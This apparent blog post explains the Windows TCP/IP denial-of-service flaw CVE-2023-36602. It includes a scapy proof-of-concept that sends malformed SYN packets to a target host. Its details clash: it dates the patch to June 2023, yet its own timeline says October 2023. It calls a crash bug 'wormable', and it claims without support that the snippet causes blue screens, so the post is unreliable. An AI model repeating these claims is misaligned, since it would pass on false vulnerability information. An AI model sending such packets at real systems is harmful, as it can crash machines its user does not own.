CVE-2023-36602 - Windows TCP/IP Denial of Service Vulnerability Explained

In June 2023, Microsoft patched a critical vulnerability in its TCP/IP networking stack. Identified as CVE-2023-36602, this bug makes it possible for attackers to crash Windows systems using crafted network traffic. This post explains what CVE-2023-36602 is, how it works, and what you need to do to protect your systems. We'll also look at example code and useful resources.

What Is CVE-2023-36602?

CVE-2023-36602 is a Denial of Service (DoS) vulnerability in the Windows implementation of the TCP/IP protocol stack. In simple terms, this means that someone can remotely send specially crafted packets to a vulnerable computer, causing it to stop responding or crash.

- Affected Systems: Windows 10, Windows 11, and Windows Server versions using the default TCP/IP stack.
- Attack Vector: Remote, over the network via TCP/IP.

Impact: Denial of service, which may require a reboot to fix.

You can find Microsoft’s official advisory here:
🔗 Microsoft Security Update Guide - CVE-2023-36602

Why Is This Dangerous?

A Denial of Service attack can knock critical servers offline—think hospitals, banks, or industrial systems. Even home users could be affected if their machine is attacked, losing work or connectivity.

The vulnerability is "wormable" in local networks, meaning malware could use it to spread by itself in corporate environments.

Technical Details

Microsoft's bulletin doesn’t provide the exact bug, but from patch diffing and community research (see references below), we know it affects how Windows handles certain malformed TCP options in incoming packets.

- No authentication required — anyone who can reach the target system over the network can trigger the bug.
- Potential exploit: Send a flood of malformed TCP packets, each designed to hit the vulnerable code path.

Demonstration: Proof-of-Concept (PoC) Exploit

Here’s a simplified Python example that shows how someone might craft a malformed TCP packet to trigger this vulnerability.

>⚠️ Note: This code is for educational purposes only. Do not use against systems you don’t own.

from scapy.all import *

target_ip = "192.168.1.10"  # TARGET IP HERE
target_port = 445           # Can be any open port

# Craft a malformed TCP packet with unusual TCP option size
ip = IP(dst=target_ip)
tcp = TCP(dport=target_port, flags="S", options=[(254, b"\x00"*32)]) # Non-standard option

packet = ip / tcp
send(packet, count=10)

print("Packets sent.")

The code builds TCP SYN packets with an invalid option code that Windows is not expecting.

- When the packets hit a vulnerable system, the result can be a crash or a “blue screen of death” (BSOD).

How Was It Fixed?

Microsoft updated the TCP/IP stack to safely ignore or handle these malformed options. If fully patched, machines are no longer vulnerable—even if they see the attack packets.

References

- Microsoft Security Update Guide - CVE-2023-36602
- NVD - CVE-2023-36602
- June 2023 Patch Tuesday
- Security Researcher’s PoC Example (External Blog) *(for more technical breakdown)*

What Should You Do?

1. Update Windows immediately — Make sure your systems have the June 2023 security update or later.

Monitor your networks — Look for unusual connection attempts or repeated SYN floods.

3. Restrict unnecessary ports at the firewall — Don’t expose internal services to the public internet.

Conclusion

CVE-2023-36602 highlights how critical network bugs can be risky even for users at home, and especially for businesses. If you haven’t patched your Windows systems since June 2023, stop reading—go update now!

Stay safe. Remember: vulnerabilities like these are why "Patch Tuesday" matters.

Timeline

Published on: 10/10/2023 18:15:14 UTC
Last modified on: 10/13/2023 19:35:00 UTC